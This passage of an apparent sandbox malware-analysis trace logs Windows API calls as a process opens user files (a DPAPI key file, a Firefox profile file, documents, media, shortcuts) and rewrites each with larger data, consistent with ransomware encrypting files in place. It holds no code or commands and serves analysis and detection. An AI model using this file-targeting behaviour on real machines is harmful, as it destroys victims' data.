lpBuffer=0x1e4cf28*, lpNumberOfBytesRead=0x354f2bc*=0x1d6, lpOverlapped=0x0) returned 1 [0063.237] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0063.237] WriteFile (in: hFile=0x1d4, lpBuffer=0x2807d38*, nNumberOfBytesToWrite=0x75e, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2807d38*, lpNumberOfBytesWritten=0x354f2d0*=0x75e, lpOverlapped=0x0) returned 1 [0063.237] CloseHandle (hObject=0x1d4) returned 1 [0063.237] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\2be989a0-16a1-424b-9211-51aa3bb43e5d" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3388679973-3930757225-3770151564-1000\\2be989a0-16a1-424b-9211-51aa3bb43e5d"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0063.237] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0063.237] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x1d4 [0063.237] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0063.237] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0063.237] ReleaseMutex (hMutex=0x128) returned 1 [0063.238] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="2be989a0-16a1-424b-9211-51aa3bb43e5d", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0063.238] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="2be989a0-16a1-424b-9211-51aa3bb43e5d", cchWideChar=36, lpMultiByteStr=0x1eb2084, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2be989a0-16a1-424b-9211-51aa3bb43e5d", lpUsedDefaultChar=0x0) returned 36 [0063.238] ReadFile (in: hFile=0x1d4, lpBuffer=0x1d97918, nNumberOfBytesToRead=0x1d4, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1d97918*, lpNumberOfBytesRead=0x354f2bc*=0x1d4, lpOverlapped=0x0) returned 1 [0063.238] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0063.238] WriteFile (in: hFile=0x1d4, lpBuffer=0x2807d38*, nNumberOfBytesToWrite=0x75c, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2807d38*, lpNumberOfBytesWritten=0x354f2d0*=0x75c, lpOverlapped=0x0) returned 1 [0063.239] CloseHandle (hObject=0x1d4) returned 1 [0063.239] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\compatibility.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\compatibility.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0063.239] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0063.239] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0xce [0063.239] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0063.239] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0063.239] ReleaseMutex (hMutex=0x128) returned 1 [0063.239] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="compatibility.ini", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0063.239] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="compatibility.ini", cchWideChar=17, lpMultiByteStr=0x1e78c44, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="compatibility.ini", lpUsedDefaultChar=0x0) returned 17 [0063.239] ReadFile (in: hFile=0x1d4, lpBuffer=0x2564448, nNumberOfBytesToRead=0xce, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2564448*, lpNumberOfBytesRead=0x354f2bc*=0xce, lpOverlapped=0x0) returned 1 [0063.240] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0063.240] WriteFile (in: hFile=0x1d4, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x656, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x354f2d0*=0x656, lpOverlapped=0x0) returned 1 [0063.240] CloseHandle (hObject=0x1d4) returned 1 [0063.241] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\nZir8XG.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\nzir8xg.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0063.241] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0063.241] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x16f50 [0063.241] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0063.241] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0063.241] ReleaseMutex (hMutex=0x128) returned 1 [0063.241] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nZir8XG.mp4", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0063.241] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nZir8XG.mp4", cchWideChar=11, lpMultiByteStr=0x1e6306c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nZir8XG.mp4", lpUsedDefaultChar=0x0) returned 11 [0063.241] ReadFile (in: hFile=0x1d4, lpBuffer=0x27fd658, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x27fd658*, lpNumberOfBytesRead=0x354f278*=0x4000, lpOverlapped=0x0) returned 1 [0063.242] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x15f50 [0063.242] ReadFile (in: hFile=0x1d4, lpBuffer=0x272d308, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x272d308*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0063.242] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x15f50 [0063.242] WriteFile (in: hFile=0x1d4, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0063.243] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0063.243] WriteFile (in: hFile=0x1d4, lpBuffer=0x27292d8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x27292d8*, lpNumberOfBytesWritten=0x354f28c*=0x4000, lpOverlapped=0x0) returned 1 [0063.243] CloseHandle (hObject=0x1d4) returned 1 [0063.243] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\_y-M8V2L1y3tT.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\_y-m8v2l1y3tt.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0063.243] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0063.243] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x175df [0063.243] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0063.243] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0063.244] ReleaseMutex (hMutex=0x128) returned 1 [0063.244] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_y-M8V2L1y3tT.mp3", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0063.244] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_y-M8V2L1y3tT.mp3", cchWideChar=17, lpMultiByteStr=0x1e78c44, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_y-M8V2L1y3tT.mp3", lpUsedDefaultChar=0x0) returned 17 [0063.244] ReadFile (in: hFile=0x1d4, lpBuffer=0x27fd658, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x27fd658*, lpNumberOfBytesRead=0x354f278*=0x4000, lpOverlapped=0x0) returned 1 [0063.244] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x165df [0063.245] ReadFile (in: hFile=0x1d4, lpBuffer=0x272d308, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x272d308*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0063.245] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x165df [0063.245] WriteFile (in: hFile=0x1d4, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0063.245] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0063.245] WriteFile (in: hFile=0x1d4, lpBuffer=0x27292d8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x27292d8*, lpNumberOfBytesWritten=0x354f28c*=0x4000, lpOverlapped=0x0) returned 1 [0063.245] CloseHandle (hObject=0x1d4) returned 1 [0063.245] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3Mx3ZW7bH.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\3mx3zw7bh.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0063.245] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0063.245] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x1a46 [0063.246] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0063.246] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0063.246] ReleaseMutex (hMutex=0x128) returned 1 [0063.246] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="3Mx3ZW7bH.pps", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0063.246] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="3Mx3ZW7bH.pps", cchWideChar=13, lpMultiByteStr=0x1e6306c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3Mx3ZW7bH.pps", lpUsedDefaultChar=0x0) returned 13 [0063.246] ReadFile (in: hFile=0x1d4, lpBuffer=0x276a328, nNumberOfBytesToRead=0x1a46, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x354f2bc*=0x1a46, lpOverlapped=0x0) returned 1 [0063.246] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0063.247] WriteFile (in: hFile=0x1d4, lpBuffer=0x27fd658*, nNumberOfBytesToWrite=0x1fce, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27fd658*, lpNumberOfBytesWritten=0x354f2d0*=0x1fce, lpOverlapped=0x0) returned 1 [0063.247] CloseHandle (hObject=0x1d4) returned 1 [0063.247] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0063.875] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0063.875] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0xd8 [0063.875] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0063.875] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0063.875] ReleaseMutex (hMutex=0x128) returned 1 [0063.880] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0063.880] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x1e6324c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="desktop.ini", lpUsedDefaultChar=0x0) returned 11 [0063.880] ReadFile (in: hFile=0x1d4, lpBuffer=0x2593248, nNumberOfBytesToRead=0xd8, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2593248*, lpNumberOfBytesRead=0x354f2bc*=0xd8, lpOverlapped=0x0) returned 1 [0063.888] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0063.888] WriteFile (in: hFile=0x1d4, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x660, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x354f2d0*=0x660, lpOverlapped=0x0) returned 1 [0063.888] CloseHandle (hObject=0x1d4) returned 1 [0063.888] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0063.889] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0063.889] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x50 [0063.889] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0063.889] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0063.889] ReleaseMutex (hMutex=0x128) returned 1 [0063.889] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0063.889] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x1e6306c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="desktop.ini", lpUsedDefaultChar=0x0) returned 11 [0063.889] ReadFile (in: hFile=0x1d4, lpBuffer=0x1e8e8c8, nNumberOfBytesToRead=0x50, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e8e8c8*, lpNumberOfBytesRead=0x354f2bc*=0x50, lpOverlapped=0x0) returned 1 [0063.890] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0063.890] WriteFile (in: hFile=0x1d4, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x5d8, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x354f2d0*=0x5d8, lpOverlapped=0x0) returned 1 [0063.890] CloseHandle (hObject=0x1d4) returned 1 [0063.890] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn money.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0064.223] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0064.223] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x85 [0064.226] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0064.226] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0064.226] ReleaseMutex (hMutex=0x128) returned 1 [0064.235] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MSN Money.url", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0064.235] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MSN Money.url", cchWideChar=13, lpMultiByteStr=0x1e6306c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MSN Money.url", lpUsedDefaultChar=0x0) returned 13 [0064.235] ReadFile (in: hFile=0x1d4, lpBuffer=0x257e150, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x257e150*, lpNumberOfBytesRead=0x354f2bc*=0x85, lpOverlapped=0x0) returned 1 [0064.250] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0064.260] WriteFile (in: hFile=0x1d4, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x60d, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x354f2d0*=0x60d, lpOverlapped=0x0) returned 1 [0064.260] CloseHandle (hObject=0x1d4) returned 1 [0064.260] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links\\downloads.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0064.516] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0064.516] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x3a1 [0064.517] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0064.517] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0064.517] ReleaseMutex (hMutex=0x128) returned 1 [0064.517] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Downloads.lnk", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0064.517] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Downloads.lnk", cchWideChar=13, lpMultiByteStr=0x1e6324c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Downloads.lnk", lpUsedDefaultChar=0x0) returned 13 [0064.517] ReadFile (in: hFile=0x1d4, lpBuffer=0x1e3ad38, nNumberOfBytesToRead=0x3a1, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e3ad38*, lpNumberOfBytesRead=0x354f2bc*=0x3a1, lpOverlapped=0x0) returned 1 [0064.518] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0064.518] WriteFile (in: hFile=0x1d4, lpBuffer=0x27ac368*, nNumberOfBytesToWrite=0x929, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27ac368*, lpNumberOfBytesWritten=0x354f2d0*=0x929, lpOverlapped=0x0) returned 1 [0064.518] CloseHandle (hObject=0x1d4) returned 1 [0064.519] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\9NIWgKv1N0vGtrsKFs.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\9niwgkv1n0vgtrskfs.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0064.519] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0064.519] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0xac19 [0064.519] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0064.519] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0064.519] ReleaseMutex (hMutex=0x128) returned 1 [0064.519] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="9NIWgKv1N0vGtrsKFs.wav", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0064.519] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="9NIWgKv1N0vGtrsKFs.wav", cchWideChar=22, 